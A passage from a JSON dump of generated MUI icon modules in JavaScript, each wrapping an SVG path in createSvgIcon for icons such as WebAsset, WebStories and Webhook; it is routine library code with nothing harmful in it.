    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.83 4H20c1.11 0 2 .9 2 2v12c0 .34-.09.66-.23.94L20 17.17V8h-9.17zm12.95 18.61L17.17 20H4c-1.11 0-2-.9-2-2V6c0-.34.08-.66.23-.94l-.84-.84a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l18.38 18.38c.39.39.39 1.02 0 1.41-.38.4-1.01.4-1.4.01M15.17 18l-10-10H4v10z\"\n}), 'WebAssetOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebAssetOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.83 4H20c1.11 0 2 .9 2 2v12c0 .34-.09.66-.23.94L20 17.17V8h-9.17zm12.95 18.61L17.17 20H4c-1.11 0-2-.9-2-2V6c0-.34.08-.66.23-.94l-.84-.84a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l18.38 18.38c.39.39.39 1.02 0 1.41-.38.4-1.01.4-1.4.01M15.17 18l-10-10H4v10z\"\n}), 'WebAssetOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebAssetOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.83 4H22v15.17l-2-2V8h-9.17zm13.66 19.31L17.17 20H2V4.83L.69 3.51 2.1 2.1l19.8 19.8zM15.17 18l-10-10H4v10z\"\n}), 'WebAssetOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebAssetOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.83 4H22v15.17l-2-2V8h-9.17zm13.66 19.31L17.17 20H2V4.83L.69 3.51 2.1 2.1l19.8 19.8zM15.17 18l-10-10H4v10z\"\n}), 'WebAssetOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebAssetOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 17.17V8h-9.17zM5.17 8H4v10h11.17z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.83 4H20c1.11 0 2 .9 2 2v12c0 .34-.09.66-.23.94L20 17.17V8h-9.17zm13.66 19.31L17.17 20H4c-1.11 0-2-.9-2-2V6c0-.34.08-.66.23-.94L.69 3.51 2.1 2.1l19.8 19.8zM15.17 18l-10-10H4v10z\"\n}, \"1\")], 'WebAssetOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebAssetOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 17.17V8h-9.17zM5.17 8H4v10h11.17z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.83 4H20c1.11 0 2 .9 2 2v12c0 .34-.09.66-.23.94L20 17.17V8h-9.17zm13.66 19.31L17.17 20H4c-1.11 0-2-.9-2-2V6c0-.34.08-.66.23-.94L.69 3.51 2.1 2.1l19.8 19.8zM15.17 18l-10-10H4v10z\"\n}, \"1\")], 'WebAssetOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebAssetOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 4H5c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.89-2-2-2m0 14H5V8h14z\"\n}), 'WebAssetOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebAssetOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 4H5c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.89-2-2-2m0 14H5V8h14z\"\n}), 'WebAssetOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebAssetRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 4H5c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.89-2-2-2m-1 14H6c-.55 0-1-.45-1-1V8h14v9c0 .55-.45 1-1 1\"\n}), 'WebAssetRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebAssetRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 4H5c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.89-2-2-2m-1 14H6c-.55 0-1-.45-1-1V8h14v9c0 .55-.45 1-1 1\"\n}), 'WebAssetRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebAssetSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 4v16h18V4zm16 14H5V8h14z\"\n}), 'WebAssetSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebAssetSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 4v16h18V4zm16 14H5V8h14z\"\n}), 'WebAssetSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebAssetTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 8h14v10H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 4H5c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.89-2-2-2m0 14H5V8h14z\"\n}, \"1\")], 'WebAssetTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebAssetTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 8h14v10H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 4H5c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.89-2-2-2m0 14H5V8h14z\"\n}, \"1\")], 'WebAssetTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 9h10.5v3.5H4zm0 5.5h10.5V18H4zM20 18h-3.5V9H20z\"\n}), 'WebOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 9h10.5v3.5H4zm0 5.5h10.5V18H4zM20 18h-3.5V9H20z\"\n}), 'WebOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 9h10.5v3.5H4zm0 5.5h10.5V18H5c-.55 0-1-.45-1-1zM19 18h-2.5V9H20v8c0 .55-.45 1-1 1\"\n}), 'WebRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 9h10.5v3.5H4zm0 5.5h10.5V18H5c-.55 0-1-.45-1-1zM19 18h-2.5V9H20v8c0 .55-.45 1-1 1\"\n}), 'WebRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4H2v16h20zM4 9h10.5v3.5H4zm0 5.5h10.5V18H4zM20 18h-3.5V9H20z\"\n}), 'WebSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4H2v16h20zM4 9h10.5v3.5H4zm0 5.5h10.5V18H4zM20 18h-3.5V9H20z\"\n}), 'WebSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebStories.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 4c1.1 0 2 .9 2 2v12c0 1.1-.9 2-2 2zM2 20c0 1.1.9 2 2 2h9c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2zm19-2c.83 0 1.5-.67 1.5-1.5v-9c0-.83-.67-1.5-1.5-1.5z\"\n}), 'WebStories');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebStories.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 4c1.1 0 2 .9 2 2v12c0 1.1-.9 2-2 2zM2 20c0 1.1.9 2 2 2h9c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2zm19-2c.83 0 1.5-.67 1.5-1.5v-9c0-.83-.67-1.5-1.5-1.5z\"\n}), 'WebStories');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebStoriesOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 4v16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-4-2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h9c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H4V4h9zm8-14v12c.83 0 1.5-.67 1.5-1.5v-9c0-.83-.67-1.5-1.5-1.5\"\n}), 'WebStoriesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebStoriesOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 4v16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-4-2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h9c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H4V4h9zm8-14v12c.83 0 1.5-.67 1.5-1.5v-9c0-.83-.67-1.5-1.5-1.5\"\n}), 'WebStoriesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebStoriesRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 4c1.1 0 2 .9 2 2v12c0 1.1-.9 2-2 2zM2 20c0 1.1.9 2 2 2h9c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2zm19-2c.83 0 1.5-.67 1.5-1.5v-9c0-.83-.67-1.5-1.5-1.5z\"\n}), 'WebStoriesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebStoriesRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 4c1.1 0 2 .9 2 2v12c0 1.1-.9 2-2 2zM2 20c0 1.1.9 2 2 2h9c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2zm19-2c.83 0 1.5-.67 1.5-1.5v-9c0-.83-.67-1.5-1.5-1.5z\"\n}), 'WebStoriesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebStoriesSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 4h2v16h-2zM2 2v20h13V2zm19 16h1.5V6H21z\"\n}), 'WebStoriesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebStoriesSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 4h2v16h-2zM2 2v20h13V2zm19 16h1.5V6H21z\"\n}), 'WebStoriesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebStoriesTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 4h9v16H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 4v16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-4-2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h9c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H4V4h9zm8-14v12c.83 0 1.5-.67 1.5-1.5v-9c0-.83-.67-1.5-1.5-1.5\"\n}, \"1\")], 'WebStoriesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebStoriesTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 4h9v16H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 4v16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-4-2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h9c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H4V4h9zm8-14v12c.83 0 1.5-.67 1.5-1.5v-9c0-.83-.67-1.5-1.5-1.5\"\n}, \"1\")], 'WebStoriesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 9h10.5v3.5H4zm0 5.5h10.5V18H4zM16.5 9H20v9h-3.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-5.5 14H4v-3.5h10.5zm0-5.5H4V9h10.5zM20 18h-3.5V9H20z\"\n}, \"1\")], 'WebTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 9h10.5v3.5H4zm0 5.5h10.5V18H4zM16.5 9H20v9h-3.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-5.5 14H4v-3.5h10.5zm0-5.5H4V9h10.5zM20 18h-3.5V9H20z\"\n}, \"1\")], 'WebTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Webhook.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 15h5.88c.27-.31.67-.5 1.12-.5.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5c-.44 0-.84-.19-1.12-.5H11.9c-.46 2.28-2.48 4-4.9 4-2.76 0-5-2.24-5-5 0-2.42 1.72-4.44 4-4.9v2.07c-1.16.41-2 1.53-2 2.83 0 1.65 1.35 3 3 3s3-1.35 3-3zm2.5-11c1.65 0 3 1.35 3 3h2c0-2.76-2.24-5-5-5s-5 2.24-5 5c0 1.43.6 2.71 1.55 3.62l-2.35 3.9c-.68.14-1.2.75-1.2 1.48 0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5c0-.16-.02-.31-.07-.45l3.38-5.63C10.49 9.61 9.5 8.42 9.5 7c0-1.65 1.35-3 3-3m4.5 9c-.64 0-1.23.2-1.72.54l-3.05-5.07C11.53 8.35 11 7.74 11 7c0-.83.67-1.5 1.5-1.5S14 6.17 14 7c0 .15-.02.29-.06.43l2.19 3.65c.28-.05.57-.08.87-.08 2.76 0 5 2.24 5 5s-2.24 5-5 5c-1.85 0-3.47-1.01-4.33-2.5h2.67c.48.32 1.05.5 1.66.5 1.65 0 3-1.35 3-3s-1.35-3-3-3\"\n}), 'Webhook');"
  },
  {
    "path": "packages/mui-icons-material/lib/Webhook.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 15h5.88c.27-.31.67-.5 1.12-.5.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5c-.44 0-.84-.19-1.12-.5H11.9c-.46 2.28-2.48 4-4.9 4-2.76 0-5-2.24-5-5 0-2.42 1.72-4.44 4-4.9v2.07c-1.16.41-2 1.53-2 2.83 0 1.65 1.35 3 3 3s3-1.35 3-3zm2.5-11c1.65 0 3 1.35 3 3h2c0-2.76-2.24-5-5-5s-5 2.24-5 5c0 1.43.6 2.71 1.55 3.62l-2.35 3.9c-.68.14-1.2.75-1.2 1.48 0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5c0-.16-.02-.31-.07-.45l3.38-5.63C10.49 9.61 9.5 8.42 9.5 7c0-1.65 1.35-3 3-3m4.5 9c-.64 0-1.23.2-1.72.54l-3.05-5.07C11.53 8.35 11 7.74 11 7c0-.83.67-1.5 1.5-1.5S14 6.17 14 7c0 .15-.02.29-.06.43l2.19 3.65c.28-.05.57-.08.87-.08 2.76 0 5 2.24 5 5s-2.24 5-5 5c-1.85 0-3.47-1.01-4.33-2.5h2.67c.48.32 1.05.5 1.66.5 1.65 0 3-1.35 3-3s-1.35-3-3-3\"\n}), 'Webhook');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebhookOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 15h5.88c.27-.31.67-.5 1.12-.5.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5c-.44 0-.84-.19-1.12-.5H11.9c-.46 2.28-2.48 4-4.9 4-2.76 0-5-2.24-5-5 0-2.42 1.72-4.44 4-4.9v2.07c-1.16.41-2 1.53-2 2.83 0 1.65 1.35 3 3 3s3-1.35 3-3zm2.5-11c1.65 0 3 1.35 3 3h2c0-2.76-2.24-5-5-5s-5 2.24-5 5c0 1.43.6 2.71 1.55 3.62l-2.35 3.9c-.68.14-1.2.75-1.2 1.48 0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5c0-.16-.02-.31-.07-.45l3.38-5.63C10.49 9.61 9.5 8.42 9.5 7c0-1.65 1.35-3 3-3m4.5 9c-.64 0-1.23.2-1.72.54l-3.05-5.07C11.53 8.35 11 7.74 11 7c0-.83.67-1.5 1.5-1.5S14 6.17 14 7c0 .15-.02.29-.06.43l2.19 3.65c.28-.05.57-.08.87-.08 2.76 0 5 2.24 5 5s-2.24 5-5 5c-1.85 0-3.47-1.01-4.33-2.5h2.67c.48.32 1.05.5 1.66.5 1.65 0 3-1.35 3-3s-1.35-3-3-3\"\n}), 'WebhookOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebhookOutlined.mjs",
